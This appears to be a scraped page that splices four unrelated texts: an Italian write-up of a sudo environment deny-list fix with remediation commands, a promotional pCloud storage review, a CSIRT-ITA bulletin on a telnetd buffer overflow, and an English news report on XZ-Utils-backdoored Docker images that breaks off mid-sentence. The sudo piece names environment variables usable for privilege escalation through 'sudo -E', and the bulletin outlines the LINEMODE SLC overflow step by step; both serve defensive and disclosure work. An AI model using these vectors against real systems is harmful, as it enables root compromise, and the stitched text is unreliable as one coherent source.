recita testualmente: Additional variables for initial_badenv_table[] Adds NODE_OPTIONS, NODE_PATH, _JAVA_OPTIONS, CLASSPATH, GIT_SSH_COMMAND, GIT_CONFIG_GLOBAL, and PYTHONSTARTUP to the list of variables to remove from the environment when “env_reset” is disabled, or sudo’s “-E” option is used (if allowed by sudoers). From Michele Piccinni. Il fix aggiunge tutte e sette le variabili direttamente a initial_badenv_table[] in plugins/sudoers/env.c, applicato incondizionatamente ogni volta che la logica della deny-list viene eseguita — coprendo sia il percorso !env_reset che il percorso sudo -E con una singola modifica. /* plugins/sudoers/env.c — fix upstream (Todd C. Miller) */static const char *initial_badenv_table[] = { /* ... entry esistenti ... */ "NODE_OPTIONS", /* Node.js: --require/--import arbitrario */ "NODE_PATH", /* Node.js: hijack percorso moduli */ "GIT_SSH_COMMAND", /* Git: command injection SSH */ "_JAVA_OPTIONS", /* JVM: -javaagent arbitrario */ "CLASSPATH", /* Java: hijack classpath */ "GIT_CONFIG_GLOBAL", /* Git: override config arbitrario */ "PYTHONSTARTUP", /* Python: esecuzione script all'avvio */ NULL}; Per l’implementazione autorevole fare riferimento al diff del commit su GitHub. Valutazione dell’Impatto e Configurazioni Affette Il caso Ubuntu merita attenzione particolare. La regola sudoers di default: %sudo ALL=(ALL:ALL) ALL non include NOSETENV, il che secondo la policy di sudo significa che SETENV è implicitamente permesso. Qualsiasi utente nel gruppo sudo può quindi eseguire sudo -E e avere il proprio ambiente completo — incluse tutte e sette le variabili pericolose — trasmesso al processo privilegiato. Questa è una configurazione che l’utente e l’amministratore Ubuntu medio non considererebbe non-default o non sicura. La causa radice si riassume in meccanismi ben progettati (env_reset, badenv_table) diventano incompleti man mano che il panorama delle minacce evolve. La deny-list è stata scritta prima che Node.js, Git moderno e il tooling JVM diventassero onnipresenti in contesti privilegiati. Remediation Verifica se il tuo sistema è esposto: Verifica se sudo -E è permesso senza SETENV esplicito nel sudoerssudo -V | grep -i setenv# Controlla la policy sudoers effettiva per SETENV/NOSETENVsudo -l | grep -i setenv# Test rapido di esposizione (eseguire come membro non-root del gruppo sudo)export NODE_OPTIONS="--version"sudo -E node 2>/dev/null && echo "ESPOSTO: sudo -E passa NODE_OPTIONS" \ || echo "Protetto" Azione immediata: Aggiornare sudo alla versione patchata non appena disponibile nei repository della propria distribuzione. Ubuntu / Debiansudo apt update && sudo apt upgrade sudo# RHEL / Fedora / Rockysudo dnf update sudo# Verifica versionesudo --version Hardening temporaneo (se la patch non è ancora disponibile): Rimuovere !env_reset da/etc/sudoers se non strettamente necessario. Verificare i grant SETENV /sudo -E e revocarli dove possibile. Aggiungere entry env_delete manuali al sudoers come soluzione temporanea:Defaults env_delete += "NODE_OPTIONS NODE_PATH GIT_SSH_COMMAND" Defaults env_delete += "_JAVA_OPTIONS CLASSPATH GIT_CONFIG_GLOBAL PYTHONSTARTUP" Abilitare profili AppArmor/SELinux per i comandi sudo con accesso ristretto. Conclusioni Questa ricerca illustra un pattern ricorrente nella sicurezza: meccanismi ben progettati (env_reset, badenv_table) diventano incompleti man mano che il panorama delle minacce evolve. La deny-list in env.c non è mai stata aggiornata per tenere conto dei primitivi di injection a livello di variabili d’ambiente di Node.js, Python, JVM e Git — runtime oggi onnipresenti in contesti DevOps privilegiati. Sulla correttezza della classificazione. Questi finding sono correttamente classificati come gap di hardening, non come vulnerabilità in senso tradizionale. Il maintainer upstream ha concordato, e la sua risposta lo riflette. Un ricercatore che gonfia i finding in CVE che non riesce a sostenere perde credibilità molto più rapidamente di chi pubblica ricerca di hardening accurata e tecnicamente rigorosa. Il commit nel repository sudo-project, con “From Michele Piccinni” nei credit, è già un risultato concreto e verificabile. Sul caso Ubuntu. Il finding più significativo dal punto di vista pratico non risiede nella deny-list di env.c in sé, ma nell’interazione tra quel gap e la configurazione sudoers di default di Ubuntu. Un’installazione stock di Ubuntu 22.04 dà ai membri del gruppo sudo il permesso implicito SETENV, rendendo sudo -E + una qualsiasi delle sette variabili un percorso valido di local privilege escalation senza alcuna errata configurazione da parte dell’amministratore. Questo è il tipo di finding che emerge dal seguire la ricerca fino alla sua conclusione logica piuttosto che fermarsi all’analisi del codice sorgente. La disclosure coordinata con Todd Miller ricorda che ricerca responsabile e comunicazione trasparente con il maintainer producono risultati di sicurezza migliori per tutti. Il fix upstream raggiungerà le distribuzioni di tutto il mondo, chiudendo questi gap per milioni di sistemi.

⚡ Velocità upload: Molto veloce 🔄️ Accesso ai file offline: ✔️ 💰 Costo: da 4,99 € al mese 📱 Mobile: Android, iOS 💻 Desktop: Windows, Linux, macOS 🔐 Sicurezza: TLS/SSL 256-AES 🧑💻 Facilità di utilizzo: Molto facile 🔥 Offerte attive: SCONTO fino al 37% pCloud, nell’ambito del cloud storage, consente la gestione di ingenti volumi di dati senza gravare sulle unità SSD locali. Si posiziona come un player distintivo, facendo leva sulla giurisdizione svizzera (nota per le rigide leggi sulla protezione dei dati) e su un modello di business che sfida i giganti del settore attraverso la disintermediazione dei canoni ricorrenti. Grazie a pCloud si riduce la necessità di investimenti ricorrenti in hardware ad alta capacità, migliorando l’efficienza operativa su macchine con storage limitato. Indice degli argomenti ⚡ Velocità upload: Molto veloce 🔄️ Accesso ai file offline: ✔️ 💰 Costo: da 4,99 € al mese 📱 Mobile: Android, iOS 💻 Desktop: Windows, Linux, macOS 🔐 Sicurezza: TLS/SSL 256-AES 🧑💻 Facilità di utilizzo: Molto facile 🔥 Offerte attive: SCONTO fino al 37% Le funzionalità di pCloud per la gestione quotidiana non si limitano al semplice cloud storage, ma offrono un sistema di Governance del dato completo. L’integrazione tra il ripristino delle versioni e la personalizzazione dei link di condivisione assicura che l’utente mantenga il controllo totale sul ciclo di vita dell’informazione, dalla creazione alla distribuzione. Sotto il profilo della cybersecurity, pCloud funge da presidio contro la perdita di asset informativi, grazie a strumenti di ripristino che agiscono come una polizza assicurativa contro errori umani o attacchi malware: Business Continuity: il sistema di File Versioning (cronologia delle versioni fino a 15 giorni per la versione free, 30 giorni per premium e 365 giorni per tutte le altre versioni) e la funzione Rewind consentono il ripristino dei dati a uno stato temporale precedente, garantendo una difesa efficace contro attacchi di tipo Ransomware o errori umani. Compliance e cifratura: l’impiego di protocolli TLS/SSL per il transito e AES 256-bit per l’archiviazione assicura la riservatezza delle transazioni. La giurisdizione svizzera fornisce un ulteriore livello di protezione legale contro l’intrusività normativa estera (come il Cloud Act USA). L’integrazione hardware-software facilita l’accesso e l’organizzazione dei contenuti senza gravare sulle risorse locali: Sincronizzazione selettiva: permette di definire quali cartelle debbano risiedere fisicamente sul dispositivo (modalità offline) e quali debbano essere accessibili solo tramite il disco virtuale, massimizzando lo spazio disponibile sull’SSD. Remote upload: funzionalità avanzata che consente di importare file direttamente nel cloud tramite un URL, bypassando il download sul computer locale. Questo riduce il consumo di banda e accelera il trasferimento di asset pesanti prelevati dal web. Filtri e ricerca rapida: il sistema indicizza automaticamente i contenuti per tipologia (documenti, immagini, video, audio), permettendo un recupero immediato dei file tramite metadati e nomi, essenziale per la produttività quotidiana. La condivisione dei dati con pCloud è gestita tramite protocolli che elevano il profilo professionale e la sicurezza: Branded links: i link di download possono essere personalizzati con logo aziendale, immagine di copertina e descrizioni testuali. Tale funzione trasforma un semplice trasferimento file in un punto di contatto marketing professionale. File requests: permette di ricevere documenti da utenti esterni direttamente in una cartella specifica del proprio account pCloud. Il mittente non necessita di un account, ma il processo avviene entro il perimetro di sicurezza del destinatario. Per l’utente che gestisce quotidianamente file audio e video, pCloud funge sia da cloud storage sia da media server: Streaming nativo: i lettori audio e video integrati permettono la fruizione dei contenuti direttamente dal cloud senza necessità di download preventivo, con supporto per playlist e anteprime di alta qualità. Collaborazione immediata: dalla galleria cloud è possibile generare link di condivisione o invitare collaboratori a visualizzare singoli album, semplificando la distribuzione di contenuti pesanti (come video in 4K) che non potrebbero essere inviati tramite email. Sicurezza e compliance di pCloud L’infrastruttura di pCloud non si limita alla semplice archiviazione dei file(cloud storage), ma integra protocolli di sicurezza di grado bancario: Cifratura dei dati: utilizza lo standard AES 256-bit per i file a riposo e il protocollo TLS/SSL per i dati in transito. Ridondanza geografica: ogni file viene replicato su 5 server differenti all’interno di data center certificati ISO 27001 e ISO 9001. Sovranità dei dati: gli utenti possono scegliere la residenza fisica dei file tra Europa (Lussemburgo) o USA, un asset fondamentale per la compliance al GDPR. Zero-Knowledge (Opzionale): attraverso pCloud Encryption, l’azienda offre crittografia lato client, garantendo che nemmeno i fornitori del servizio possano accedere ai contenuti. A differenza dei fornitori con sede negli Stati Uniti, nell’Unione Europea o nei Paesi del Commonwealth, la Svizzera non aderisce ai trattati di sorveglianza di massa noti come “Five Eyes”, “Nine Eyes” o “Fourteen Eyes”. Questo isolamento legale garantisce che i dati degli utenti non siano soggetti a programmi di monitoraggio transnazionali o a scambi automatici di informazioni tra agenzie di intelligence straniere. La protezione dei dati in Svizzera è regolata dalla Legge Federale sulla Protezione dei Dati (LPD), una delle normative più restrittive a livello globale. Tutela del soggetto: in Svizzera, il diritto alla privacy è considerato un diritto civile fondamentale. Qualsiasi richiesta di accesso ai dati da parte delle autorità deve essere validata da un tribunale svizzero e notificata all’interessato (salvo casi eccezionali legati a gravi reati penali). Assenza di “Gag Orders”: contrariamente a quanto avviene negli USA con il Patriot Act o il Cloud Act, i fornitori svizzeri non possono essere legalmente obbligati a fornire dati in segreto senza che l’utente possa impugnare la decisione. Nonostante l’indipendenza politica, pCloud garantisce la compliance internazionale operando in data center certificati ISO 27001 e ISO 9001. Gli utenti possono scegliere di allocare i propri server in Lussemburgo, beneficiando della doppia protezione: la solidità dell’infrastruttura UE conforme al GDPR e la protezione legale superiore della casa madre svizzera. ⚡ Velocità upload: Molto veloce 🔄️ Accesso ai file offline: ✔️ 💰 Costo: da 4,99 € al mese 📱 Mobile: Android, iOS 💻 Desktop: Windows, Linux, macOS 🔐 Sicurezza: TLS/SSL 256-AES 🧑💻 Facilità di utilizzo: Molto facile 🔥 Offerte attive: SCONTO fino al 37% L’offerta di pCloud per il 2026 è strutturata per coprire ogni tipologia di utenza, dal singolo privato alle grandi organizzazioni. I piani si distinguono principalmente per l’orizzonte temporale del pagamento: mensile, annuale, e Lifetime e per la destinazione d’uso: individuale, family e business. Tutti i piani includono protocolli TLS/SSL, crittografia AES a 256 bit e la possibilità di backup da piattaforme terze (Google Drive, Dropbox, OneDrive). Il modello Lifetime di pCloud rappresenta una rottura rispetto ai canoni del mercato SaaS (Software as a Service). Mentre la maggior parte dei competitor (come Google One, iCloud o Dropbox) adotta un modello a rendita basato su canoni ricorrenti, pCloud introduce il concetto di Asset digitale di proprietà. I piani individuali di pCloud sono dedicati al singolo utente e offrono la massima flessibilità di pagamento. I piani pCloud Family sono progettati per nuclei fino a 5 utenti, questi piani sono disponibili esclusivamente in modalità Lifetime. Ogni membro riceve uno spazio privato e indipendente. Family 2 TB: €595 (una tantum). Family 10 TB: €1.499 (una tantum). Il piano di cloud storage da 10 TB è il più efficiente in termini di costo per utente, con un risparmio del 33% rispetto all’acquisto di licenze singole. Per le aziende, pCloud adotta un modello SaaS a canone ricorrente (OpEx) che include strumenti di amministrazione avanzati e crittografia lato client integrata. Business: €9,99/mese per utente (minimo 3 utenti). Include 1 TB per utente. Business Pro: €14,98/mese per utente. Include 2 TB per utente, assistenza prioritaria e log di audit avanzati. Funzionalità pCloud free e per le aziende Branding: possibilità di personalizzare i link di download con il logo e i colori aziendali, migliorando l’immagine professionale verso i clienti. I piani Premium plans ne hanno disponibili quanto i piani Business. Il piano Free ha una opzione branding. pCloud Encryption incluso: a differenza dei piani personali (dove spesso è un add-on a pagamento), qui la cifratura lato client è integrata per garantire la massima riservatezza dei segreti industriali. Gestione permessi: controllo granulare degli accessi, creazione di Team e commenti sui file per il workflow collaborativo. Extended versioning: recupero dei file fino a 180 giorni (fondamentale in caso di attacchi Ransomware che criptano i dati locali). Basic: fino a 10 GB gratuiti per sempre, ideali per testare l’interfaccia e la velocità di sincronizzazione prima di un eventuale upgrade. I Log di pCloud non sono semplici file di testo, ma uno strumento di compliance e sicurezza che permette al responsabile IT o al titolare dell’azienda di: Tracciabilità del dato: verificare chi ha effettuato l’accesso a un determinato file, chi lo ha modificato, rinominato o eliminato. Monitoraggio delle condivisioni: controllare quali link sono stati generati e verso quali destinatari esterni, prevenendo potenziali fughe di dati (Data Leakage). Gestione dei permessi: seguire i cambiamenti nei privilegi di accesso all’interno delle cartelle condivise del team. Analisi forense: Iin caso di errore umano o violazione, i log permettono di ricostruire l’esatta cronologia degli eventi per identificare l’origine del problema. Questa funzione è un potente discriminante tra l’uso domestico e quello professionale: Piani Individuali/Family: non dispongono di questa scheda; la gestione è semplificata e focalizzata sulla privacy del singolo. Piani Business: la presenza dei Log è fondamentale per le aziende che devono rispettare normative come il GDPR, dove la rendicontazione delle attività sui dati personali è un requisito di legge. Esistono funzionalità specifiche in pCloud che possono essere aggiunte ai piani Individuali e Family se non già incluse: pCloud Encryption: crittografia zero-knowledge lato client (€4,99/mese o circa €150 Lifetime). Extended File History: per estendere il recupero dei file fino a 1 anno (circa €39/anno). Sintesi per la scelta: se la priorità è l’abbattimento dei costi fissi, il piano Lifetime Individuale da 2 TB o il Family da 10 TB rappresentano gli investimenti con il ROI più elevato, ammortizzandosi in meno di 4 anni. ⚡ Velocità upload: Molto veloce 🔄️ Accesso ai file offline: ✔️ 💰 Costo: da 4,99 € al mese 📱 Mobile: Android, iOS 💻 Desktop: Windows, Linux, macOS 🔐 Sicurezza: TLS/SSL 256-AES 🧑💻 Facilità di utilizzo: Molto facile 🔥 Offerte attive: SCONTO fino al 37% Per comprendere appieno l’ecosistema di cloud storage di pCloud, è necessario distinguere tra l’infrastruttura per computer pCloud Drive e quella per dispositivi mobili App Mobile. Sebbene condividano lo stesso archivio cloud, operano con tecnologie e logiche di gestione del dato differenti. Il pCloud Drive è un software per Windows, macOS e Linux che implementa la tecnologia del Virtual Drive: Architettura virtuale: a differenza di altri servizi, non crea una cartella locale che occupa spazio sul disco. Utilizza un driver di sistema (come ELDOS CBFS su Windows o FUSE su macOS/Linux) per montare un’unità disco virtuale (es. Disco P: ). Streaming del dato: i file non sono fisicamente sul nostro PC. Quando si apre un documento, il software ne scarica solo i frammenti necessari in una cache locale temporanea. Una volta chiuso, il file “torna” nel cloud, liberando spazio. Sincronizzazione bidirezionale (Sync): permette di legare cartelle fisiche del PC al cloud. Ogni modifica locale viene replicata online e viceversa. LAN Sync: se due computer nella stessa rete locale hanno pCloud Drive attivo, si scambiano i file direttamente tra loro alla velocità della rete LAN, senza passare dai server internet. L’app mobile di pCoud funge da terminale di accesso e da sistema di backup passivo. Automatic Upload (caricamento automatico): è il cuore dell’app mobile. Una volta attivato, monitora il rullino fotografico e carica ogni nuova foto/video in tempo reale. È un backup unidirezionale: se si cancelli una foto dal telefono per liberare spazio, la copia su pCloud rimane al sicuro. Streaming multimediale nativo: l’app include un lettore audio/video avanzato che decodifica i file direttamente dal cloud, supportando playlist e riproduzione in background (ideale per trasformare pCloud in un servizio di musica personale). Gestione cache e preferiti: si possono contrassegnare file come “Preferiti” per forzarne il download sul telefono e renderli accessibili offline. Protezione biometrica: supporta l’integrazione con FaceID, TouchID o impronta digitale per bloccare l’accesso all’intera libreria cloud dal telefono. In termini di Business Continuity, il pCloud Drive è lo strumento per la produttività pesante (editing video, documenti, backup di sistema), mentre l’App Mobile è il guardiano del patrimonio multimediale (foto e video). Entrambi convergono in un unico archivio, garantendo che un file caricato dal telefono sia istantaneamente visibile nel “Disco P:” del computer. pCloud Encryption non è un’esclusiva di una singola piattaforma, ma è una funzionalità trasversale integrata nell’intero ecosistema: appartiene sia a pCloud Drive (Desktop) che all’App Mobile. L’implementazione di pCloud Encryption trasforma il servizio da un semplice deposito cloud a un’infrastruttura di sicurezza di grado militare. Questo modulo è la risposta definitiva alla necessità di sovranità digitale, assicurando che il controllo sui propri file rimanga un diritto inalienabile e tecnicamente garantito. Il principio cardine di pCloud Encryption è la decentralizzazione della cifratura. Processo: la trasformazione dei dati da testo in chiaro a codice cifrato avviene esclusivamente sul dispositivo dell’utente (PC, smartphone o tablet). Sicurezza nel transito: solo la versione già criptata viene inviata ai server. Ciò elimina la vulnerabilità insita nel trasferimento di dati leggibili, rendendo l’intercettazione dei pacchetti (attacchi Man-in-the-Middle) tecnicamente inutile per un eventuale attaccante. L’aspetto più rilevante sotto il profilo del risk management è la gestione delle chiavi: Proprietà esclusiva: la chiave di decrittazione, denominata Crypto Pass, viene generata dall’utente e non viene mai trasmessa o archiviata sui server di pCloud. Inaccessibilità provider: pCloud, come entità giuridica e tecnica, non possiede le chiavi per visualizzare i contenuti della cartella Crypto. In caso di ingiunzione legale o tentativo di accesso forzato ai server, i dati risulterebbero stringhe di bit indecifrabili. Responsabilità dell’utente: questa architettura implica che, in caso di smarrimento del Crypto Pass, il recupero dei dati è matematicamente impossibile, poiché non esistono procedure di “reset password” per questo modulo specifico. pCloud si distingue per un approccio di cloud storage ibrido unico nel mercato: Cartella Crypto: un caveau digitale dedicato agli asset ad altissima sensibilità (segreti industriali, documenti finanziari). Qui, le funzionalità che richiedono la scansione dei file (come le anteprime delle immagini o lo streaming video) sono disabilitate per massimizzare la sicurezza. Archiviazione standard: per il resto dei file, pCloud mantiene la crittografia server-side, consentendo all’utente di beneficiare delle funzioni di indicizzazione e anteprima veloce. Per gli utenti dei piani Individual e Family, pCloud Encryption è spesso offerto come componente add-on (acquistabile con licenza Lifetime o abbonamento), mentre è generalmente incluso nativamente nei piani pCloud Business. L’accessibilità di pCloud trasforma il dato da un elemento statico, vincolato a un hardware specifico, in un asset fluido e protetto. La capacità di passare da un desktop Linux a uno smartphone iOS mantenendo l’integrità del proprio spazio di lavoro rappresenta un vantaggio competitivo in termini di efficienza e sicurezza. pCloud assicura la continuità del flusso di lavoro eliminando le barriere tra sistemi operativi differenti. La sincronizzazione non è un semplice trasferimento, ma un allineamento logico dei dati: Desktop (Windows, macOS, Linux): attraverso l’integrazione di pCloud Drive, il sistema crea un’unità virtuale che permette l’accesso ai file senza occupare storage fisico. Le modifiche apportate localmente vengono replicate sui server in tempo reale tramite protocolli crittografati. Mobile (iOS, Android): l’applicazione mobile funge da gateway per l’intero archivio cloud, permettendo l’accesso offline ai file preferiti e il caricamento automatico di contenuti multimediali. Interfaccia Web: una piattaforma browser-based consente l’accesso ai dati da qualsiasi postazione pubblica o di terzi, offrendo funzionalità complete di gestione senza necessità di installazione software. La distribuzione dei file è governata da strumenti che bilanciano la velocità operativa con la sicurezza informatica: Link di condivisione (Download Links): permettono di inviare file o cartelle a utenti esterni. Per garantire la protezione dei dati sensibili, pCloud consente di impostare password di accesso, date di scadenza e di monitorare le statistiche di download. Cartelle condivise (Shared Folders): progettate per la collaborazione bidirezionale. Gli utenti invitati possono visualizzare o modificare i contenuti in base ai permessi granulari assegnati dall’amministratore, facilitando il lavoro di team in ambienti professionali. Richieste file (Public Links): funzionalità di “logistica inversa” che consente di ricevere file da terzi direttamente nel proprio spazio cloud. Il mittente carica i documenti tramite una pagina web sicura, eliminando i limiti dimensionali tipici degli allegati email. pCloud funge da hub centrale per la protezione di dati residenti su altre piattaforme: Backup da altri Cloud: il servizio permette l’importazione diretta di dati da Google Drive, Dropbox e OneDrive. Questa funzionalità è strategica per la centralizzazione degli asset informativi e per la creazione di una copia di sicurezza indipendente dai grandi provider statunitensi. Estensioni browser: componenti dedicati per Chrome, Firefox e Opera facilitano il salvataggio diretto di immagini e testi dal web verso l’archivio cloud, ottimizzando le procedure di ricerca e archiviazione quotidiana. Sotto il profilo tecnico, l’accessibilità è supportata da una rete di server ottimizzata per l’alta velocità: Dimensione file illimitata: a differenza di molti competitor, pCloud non impone limiti alla dimensione dei singoli file caricati, rendendolo lo strumento ideale per la gestione di dataset massivi o video in altissima risoluzione (8K). Velocità di trasferimento: il servizio non applica capping alla banda, permettendo di sfruttare l’intera capacità della connessione internet dell’utente, sia in upload che in download. La capillarità della compatibilità di pCloud assicura che l’investimento (specialmente quello Lifetime) non sia vincolato a un singolo ecosistema hardware. Per un’azienda o un utente privato, questa agnosticismo tecnologico garantisce la Business Continuity anche in caso di migrazione tra sistemi operativi differenti, consolidando pCloud come uno standard di riferimento per lo storage sicuro. pCloud si distingue per un’integrazione profonda a livello di file system, grazie all’applicazione pCloud Drive. Microsoft Windows: piena compatibilità con le versioni più recenti (Windows 7, 8, 10 e 11). Il software si integra nell’Esplora File come un’unità disco virtuale (solitamente P: ), supportando tutte le operazioni native di trascinamento e salvataggio diretto. Apple macOS: supporto completo per le architetture Intel e Apple Silicon (M1/M2/M3). L’integrazione avviene tramite il sistema File Provider di Apple, garantendo stabilità e performance ottimizzate per il Finder. È disponibile anche l’estensione per il backup automatico delle librerie di Foto e documenti. Linux: pCloud è uno dei pochi provider a offrire un supporto di alto livello per il mondo Open Source. Viene distribuito come AppImage (compatibile con le principali distribuzioni come Ubuntu, Debian, Fedora, Arch Linux) e fornisce un’integrazione fluida con i file manager più diffusi (Nautilus, Dolphin, Nemo). È disponibile anche una versione per riga di comando (CLI), essenziale per server e utenti avanzati. L’accessibilità in mobilità su pCloud è garantita da applicazioni native che trasformano lo smartphone in un terminale di consultazione e backup attivo. iOS (iPhone/iPad): l’app pCloud è ottimizzata per l’integrazione con l’app File di sistema. Supporta il caricamento automatico del rullino fotografico, lo streaming di file multimediali e la protezione biometrica tramite FaceID o TouchID. Android: Compatibilità estesa a una vasta gamma di produttori e versioni del sistema operativo. Include funzionalità di gestione della cache per l’accesso offline e widget per il caricamento rapido di documenti e scansioni direttamente dalla fotocamera. Per i terminali che non consentono l’installazione di software locale (es. ChromeOS o postazioni temporanee), pCloud offre soluzioni basate su browser: Web Platform: interfaccia completa raggiungibile da qualunque browser moderno (Chrome, Firefox, Safari, Edge) che permette la gestione totale dell’account, inclusi i link di condivisione e le impostazioni di sicurezza. pCloud Save: estensioni dedicate per i principali browser che permettono di salvare immagini, testi e file direttamente dal web nel proprio spazio cloud con un singolo clic destro. La vera forza della compatibilità di pCloud risiede nella sincronizzazione intelligente: Indipendenza dal File System: il software traduce correttamente i permessi e le strutture dei file tra i diversi sistemi (es. gestendo le discrepanze tra il sistema NTFS di Windows e l’APFS di Mac). LAN Sync: se più dispositivi sono connessi alla stessa rete locale, pCloud accelera il trasferimento dei dati scambiandoli direttamente tra i computer, riducendo l’impatto sulla banda internet esterna. L’analisi complessiva di pCloud evidenzia un modello di business solido e un’infrastruttura tecnologica d’eccellenza, posizionando il provider svizzero come un punto di riferimento per la data sovereignty e l’efficienza dei costi nel panorama del cloud storage 2026. Efficienza finanziaria: i piani Lifetime di pCloud offrono un ritorno sull’investimento (ROI) ineguagliabile, eliminando i costi fissi ricorrenti e proteggendo l’utente dall’inflazione dei canoni SaaS. Sicurezza avanzata: l’architettura Zero-Knowledge (pCloud Encryption) garantisce la riservatezza assoluta, rendendo i dati inaccessibili persino al fornitore del servizio. Flessibilità infrastrutturale: l’integrazione di pCloud Drive permette un’espansione virtuale dell’hardware locale, ottimizzando le risorse di computer e dispositivi mobile. Compliance europea: la possibilità di scegliere data center nel Lussemburgo garantisce il pieno rispetto del GDPR. Investimento iniziale: l’esborso per i piani Lifetime di pCloud è superiore rispetto a una sottoscrizione mensile standard, richiedendo una pianificazione del budget a lungo termine. Responsabilità dell’utente: la natura Zero-Knowledge del modulo Crypto comporta l’impossibilità di recuperare i dati in caso di smarrimento del Crypto Pass. Il cloud storage di pCloud si distingue dai competitor (Big Tech) per la capacità di coniugare la sicurezza di grado bancario con un modello di acquisizione degli asset digitali estremamente vantaggioso. L’adozione della giurisdizione svizzera non è solo un elemento formale, ma una barriera giuridica concreta contro l’intrusività normativa di altre regioni. pCloud è il cloud storage ideale per chi considera i propri dati un asset strategico da proteggere e non un semplice costo operativo. La versione Family di pCloud rappresenta il miglior compromesso per la sicurezza domestica, mentre i piani Business sono indispensabili per le organizzazioni che necessitano di log di audit e gestione granulare dei permessi. In un’epoca segnata dall’aumento dei costi della criminalità informatica, investire in una “cassaforte svizzera digitale” non è più un’opzione, ma una necessità di risk management per ogni utente consapevole.

Vulnerabilità in GNU Inetutils telnetd e rischi strutturali del protocollo Telnet Bollettino BL01/260318/CSIRT-ITA Sintesi Disponibile un Proof of Concept (PoC) per la vulnerabilità CVE-2026-32746, di gravità "critica", che interessa il demone telnetd appartenente alla suite di utility di rete GNU Inetutils. Tale vulnerabilità, qualora sfruttata, potrebbe consentire a un utente malintenzionato remoto non autenticato di eseguire codice arbitrario sui sistemi target. Tipologia Remote Code Execution Descrizione e potenziali impatti Disponibile un Proof of Concept (PoC) per la CVE‑2026‑32746 – di tipo "Remote Pre-Auth Buffer Overflow" e con score CVSS v3.x pari a 9.8 – che riguarda il demone telnetd, presente nella suite di utility di rete GNU Inetutils. La vulnerabilità è dovuta all’assenza di adeguati controlli sui limiti del buffer nella funzione add_slc(), che gestisce le opzioni LINEMODE SLC (Set Local Characters). In presenza di un numero eccessivo di entry SLC, la funzione può scrivere dati oltre i limiti del buffer (out‑of‑bounds write), causando la corruzione della memoria. Nel dettaglio, un utente malintenzionato potrebbe sfruttare la vulnerabilità come segue: connettendosi alla porta 23 ed effettuando l’handshake iniziale; nel momento in cui il server invia DO LINEMODE, rispondendo WILL LINEMODE per entrare nella negoziazione LINEMODE; inviando una subnegotiation LINEMODE SLC contenente un numero elevato di triple SLC (tipicamente 40–50 per garantire l’overflow, ciascuna composta da 3 byte: funzione, flag, valore), nel formato: IAC SB LINEMODE LM_SLC IAC SE; Per ogni tripla ricevuta, il server invoca add_slc() la quale, non verificando opportunamente la capacità del buffer, effettua scritture oltre i limiti corrompendo la memoria adiacente allo stesso. Di conseguenza, mediante richieste opportunamente predisposte, l’attaccante potrebbe ottenere l’esecuzione di codice nel contesto del processo telnetd - tipicamente eseguito con privilegi elevati (root). Prodotti e versioni affette telnetd, versione 2.7 e precedenti che implementano la funzionalità SLC Azioni di mitigazione La vulnerabilità è solo l’ultima di una serie di criticità che riguardano il protocollo telnet, tra cui anche la recente CVE-2026-24061, trattata nell’ambito dell’AL01/260126/CSIRT-ITA. Come già sottolineato da questo CSIRT nel BL01/250626/CSIRT-ITA, il protocollo TELNET è considerato obsoleto - quindi insicuro - poiché non prevede alcuna forma di crittografia, soprattutto durante la fase di autenticazione: le credenziali e i dati trasmessi viaggiano in chiaro durante la comunicazione e sono pertanto facilmente intercettabili. Inoltre, a causa della nota obsolescenza del protocollo, le implementazioni come GNU Inetutils telnetd hanno cicli di manutenzione non tempestivi, e vengono mantenute solo per compatibilità dei sistemi legacy. Si raccomanda, pertanto, di disabilitare eventuali servizi telnet ancora in uso, e sostituirli con varianti più sicure. La soluzione SSH è considerata una alternativa valida, avendo cura di disabilitarne la semplice autenticazione via password e il login diretto come utente root, e utilizzando esclusivamente metodologie di autenticazione a chiave forte (ed25519 o RSA ≥ 3072 bit). Per quanto detto, si riportano di seguito alcune linee guida per la verifica, la disabilitazione e la disinstallazione del servizio telnet: Verificare la presenza di telnetd con il comando ;which telnetd Verificare l'esposizione del servizio telnet con il comando ;ss -tlnp | grep :23 Disabilitare telnet: - sistemi basati su systemd: sudo systemctl stop telnet.socket telnet.service sudo systemctl disable telnet.socket telnet.service sudo systemctl mask telnet.socket telnet.service sudo systemctl stop inetd sudo systemctl stop xinetd sudo systemctl disable inetd sudo systemctl disable xinetd - sistemi basati su init.d: /etc/init.d/inetd stop /etc/init.d/xinetd stop sistemi basati su systemd: Rimozione del pacchetto: Debian/Ubuntu: ;sudo apt remove telnetd inetutils-telnetd RHEL/CENTOS/Fedora: ;sudo dnf remove inetutils-telnetd telnet-server Bonifica delle regole firewall: - Debian/Ubuntu: sudo ufw delete allow 23/tcp sudo ufw reload - RHEL/CENTOS/Fedora: sudo firewall-cmd --permanent --remove-service=telnet sudo firewall-cmd --permanent --remove-port=23/tcp sudo firewall-cmd --reload - Iptables: sudo iptables -D INPUT -p tcp --dport 23 -j ACCEPT Debian/Ubuntu:

The XZ-Utils backdoor, first discovered in March 2024, is still present in at least 35 Linux images on Docker Hub, potentially putting users, organizations, and their data at risk. Docker Hub is the official public container image registry operated by Docker, allowing developers and organizations to upload or download prebuilt images and share them with the community. Many CI/CD pipelines, developers, and production systems pull images directly from Docker Hub as base layers for their own containers, and if those images are compromised, the new build inherits the flaw or malicious code. Binarly researchers have discovered numerous Docker images still impacted by the XZ-Utils backdoor. "At first glance, this might not seem alarming: if the distribution packages were backdoored, then any Docker images based on them would be infected as well," reports Binarly. "However, what we discovered is that some of these compromised images are still publicly available on Docker Hub. And even more troubling, other images have been built on top of these infected base images, making them transitively infected." Binarly reported the images to Debian, one of the maintainers still offering backdoored images, who decided not to take them offline, citing low risk and importance of archiving continuity. The XZ-Utils backdoor, tracked under CVE-2024-3094, was malicious code hidden in the liblzma.so library of the xz-utils compression tool, versions 5.6.0 and 5.6.1. It hooked the RSA_public_decrypt function in OpenSSH via glibc's IFUNC mechanism, so if an attacker with a special private key connected over SSH to an affected system, they could bypass authentication and remotely run commands as root. The backdoor was stealthily injected by a long-time project contributor named "Jia Tan," and shipped in official Linux distro packages like Debian, Fedora, OpenSUSE, and Red Hat, making it one of the most severe software supply chain compromises last year. The backdoor was discovered early on, giving attackers very little opportunity to leverage it, and scanners were released by Binarly and Kaspersky, among others, to help detect it on dependent open-source software. Debian's response To the researchers' surprise, Debian did not bother to retract 64-bit images using the backdoored version of the library from Docker Hub, finding at least 35 of them that are still available for download. Binarly comments that this figure is only a partial reflection of the real scale of the problem, as they did not perform a platform-wide scan for the XZ-Utils backdoor. "We identified more than 35 images that ship with the backdoor," explains Binarly in its report. "While this may seem like a small number, we only scanned a small portion of the images published on DockerHub, stopping at second-order images." Debian says they 